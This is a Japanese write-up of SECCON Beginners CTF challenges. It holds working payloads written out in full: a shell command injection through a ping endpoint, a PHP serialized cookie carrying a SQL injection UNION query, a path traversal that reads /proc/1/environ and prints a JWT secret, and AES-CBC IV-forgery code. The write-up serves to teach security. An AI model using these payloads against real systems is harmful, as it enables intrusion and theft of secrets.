Util

main.goを確認すると以下のように渡されたアドレスをそのまま文字列として結合してshに渡しているのでCommand Injectionが可能であり、ここにアドレスの後にflagを取得するコードも含めて渡せば取得できます。

flagは以下で書き込まれているので

RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt

cat /flag_*.txtを渡してやれば良いことが分かります。

commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()

IPアドレスのチェックはクライアント側で行われているのでcurlで送信しました。

curl 'https://util.quals.beginners.seccon.jp/util/ping' -X POST -H "Content-Type: application/json" -d '{"address":"127.0.0.1 && cat /flag_*.txt"}'

backend/handlers.goを確認すると、

file_extensionのget parameterに渡された文字列を含むファイルをstaticフォルダ内から返し、file_extensionがflagと一致している場合は削除されてjpegにされます。

含んでいればいいのでfのような文字を入れてアクセスしてみます。

https://gallery.quals.beginners.seccon.jp/?file_extension=f

flagファイルのパスが得られましたがアクセスしてみると全て?になって表示されます。

10240byteを超えた場合に全て?に置換してからレスポンスを返す処理が見つかるのでこれを下回るサイズで取得できればサイズ制限を回避して取得できそうです。

rangeリクエストを使って分割して取得すればサイズ制限を回避できるので適当なサイズに切って分割して取得して結合すればflagを得ることができます。

curl https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf -r 0-10200 -o tmp_1
curl https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf -r 10201-20000 -o tmp_2
cat tmp_1 tmp_2 > flag_gallery.pdf

serial

htmlフォルダにphpがあり、database.phpを見るとfindUserByName関数のコメントに@deprecated this function might be vulnerable to SQL injection. DO NOT USE THIS FUNCTION.と書かれています。

この関数内では渡された$user->nameを文字列として組み立てに使用してからそのままqueryを実行しているのでSQL Injectionが可能です。

この関数の呼び出し元を探すとuser.phpのloginで呼ばれていて、$_COOKIE["__CRED"]をbase64decode,unserializeしてこのdb->findUserByNameに渡されています。

index.phpでloginが呼ばれているのでcookieを書き換えてからindex.phpへアクセスすれば良いことが分かります。

以下の$user->nameに文字を指定してflagsのbodyを取得したいので、

$sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";

以下の文字列を用意しました。 

a' UNION SELECT 0, body, '' FROM flags -- '

これをnameに入れたcookieを作成します。

<?php
$base = "Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjI6IjEyIjtzOjQ6Im5hbWUiO3M6MjoiLS0iO3M6MTM6InBhc3N3b3JkX2hhc2giO3M6NjA6IiQyeSQxMCRDVWh0UExEc1Y5OE1pNHNGcmZFY2xPN1ZLMHduYTlIL254Tjl6ZDJwQjViRWVFdHJpc1Z0NiI7fQ"; //適当にログインして得たcookie

class User {
    public $id;
    public $name;
    public $password_hash;
}

$user = unserialize(base64_decode($base));

$user->name = "a' UNION SELECT 0, body, '' FROM flags -- '";
$user->password_hash = "";


echo base64_encode(serialize($user)); //Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjI6IjEyIjtzOjQ6Im5hbWUiO3M6NDM6ImEnIFVOSU9OIFNFTEVDVCAwLCBib2R5LCAnJyBGUk9NIGZsYWdzIC0tICciO3M6MTM6InBhc3N3b3JkX2hhc2giO3M6MDoiIjt9

できたcookieをブラウザに設定してindex.phpにアクセスするとset-cookieでflagを含むデータをserializeしてb64した文字列が返るのでdecodeしてやることでflagが得られました。

Ironhand

JWTが使用されていて、IsAdminがtrueであればflagが表示されるようになっていました。

JWTの脆弱性を調べるとalg=noneとしてSignatureの検証をさせない、RS256をHS256に変更して公開鍵を共通鍵として署名する等がありますがどれも通りませんでした。

これで数時間悩みましたがJWTの使用方法自体に問題が無いのであれば署名に使用している鍵が取得できるのではないかと考えてもう一度コードの他の部分も確認すると/static/:fileにアクセスした際の処理に問題があってディレクトリトラバーサルが可能になっていました。

鍵は環境変数に設定されていて、Dockerで起動しているので/proc/1/environが取得できれば良く、../../proc/1/environをgoに渡したいので以下のURLにアクセスすることで環境変数から鍵を取得します。

https://ironhand.quals.beginners.seccon.jp/static/..%2F/..%2F/proc/1/environ

HOSTNAME=a98210d82749JWT_SECRET_KEY=U6hHFZEzYGwLEezWHMjf3QM83Vn2D13dSHLVL=1HOME=/home/appuserPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPWD=/app

JWT_SECRET_KEYがあれば任意のPayloadに対して署名できるのでこれでIsAdminがTrueとなるJWTを作成してcookieに設定してページにアクセスすることでflagが取得できました。

phisher

問題文からホモグラフ攻撃を行えば良いことがわかり、似ている文字だけでwww.example.comを作成して渡すことでflagが得られました。

文字幅の関係で組み合わせでうまく動く、動かないがあったのが面倒でした。

H2

pcapファイルが渡されるのでWiresharkで開いて

http2.header.name == x-flagとフィルタをかけることでflagが得られました。

hitchhike4b

前回と異なりhelp()が最初から実行されている状態でした。

ncで接続するとソースコードとして以下も渡されます

# Source Code

import os
os.environ["PAGER"] = "cat" # No hitchhike(SECCON 2021)

if __name__ == "__main__":
    flag1 = "********************FLAG_PART_1********************"
    help() # I need somebody ...

if __name__ != "__main__":
    flag2 = "********************FLAG_PART_2********************"
    help() # Not just anybody ...

__main__と入力してみるとDATAとして変数を知ることができ、flagの前半を得られました

次に今実行されているこのファイルをmainモジュール以外として読む部分を探し、modulesを入力しモジュール一覧を取得し、この中にあったapp_35f13ca33b0cc8c9e7d723b78627d39aceeac1fcがファイル名とも一致しているのでこれであると判断し、2回入力してDATAとして後半のflagも得ることができたので併せてflag全体を得られました。

Recursive

Ghidraにかけて簡単に確認すると、check関数が再帰的に呼び出されていて、その中で1文字まで分割してから別のtableの中と比較をしていました。

また、mainからcheckを呼ぶ前に38文字であることの確認をしていたのでflagが38文字であることがわかります。

他に方法が思いつかなかったのでgdbでこの比較部分にbreakpointを設定し、前から1文字づつ調べてflagを得ることができました。

Command

暗号化したコマンドを取得する、暗号化したコマンドを実行する機能があります。

getflagコマンドを呼び出す事ができればflagが取得できることがわかりますが、

暗号化したコマンドを取得する機能ではfizzbuzz,primes,getflagに制限され、getflagの場合は処理を行わずにprint('this command is for admin')としてreturnされてしまうのでgetflagの暗号化されたコマンドは取得することができません。

AES.MODE_CBCが使用されて暗号化されていて、この方式では最初の1blockはivと平文のXORを暗号化したものであり、今回は全て16byteに収まるのでこの最初の1blockしか無い状態でした。

復号化する際に復号化したブロックを平文へ戻すためにivとxorが取られるので、元の平文とivが分かっていれば任意の結果を作成するivを作ることができます。

iv = 平文 ^ 渡されたiv ^ 復号化した結果として渡したい文字列

としてやるために以下で

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def byte_xor(b1, b2):
  return bytes([_a ^ _b for _a, _b in zip(b1, b2)])

# 取得しておいたfizzbuzzの暗号化したコマンドを分割したもの
iv = bytes.fromhex("9a7fe13d7545cb99489aa9f15440cd30")
ced = bytes.fromhex("48a08aa0d7e184431d1093d298116f32")

fb = pad(b'fizzbuzz', 16)

biv = byte_xor(fb, iv)

gf = pad(b'getflag', 16)

niv = byte_xor(biv, gf)

niv.hex() + ced.hex() #9b73ef217b51d6ea499ba8f05541cc3148a08aa0d7e184431d1093d298116f32

作成した物を渡すとgetflagが実行されてflagが得られます。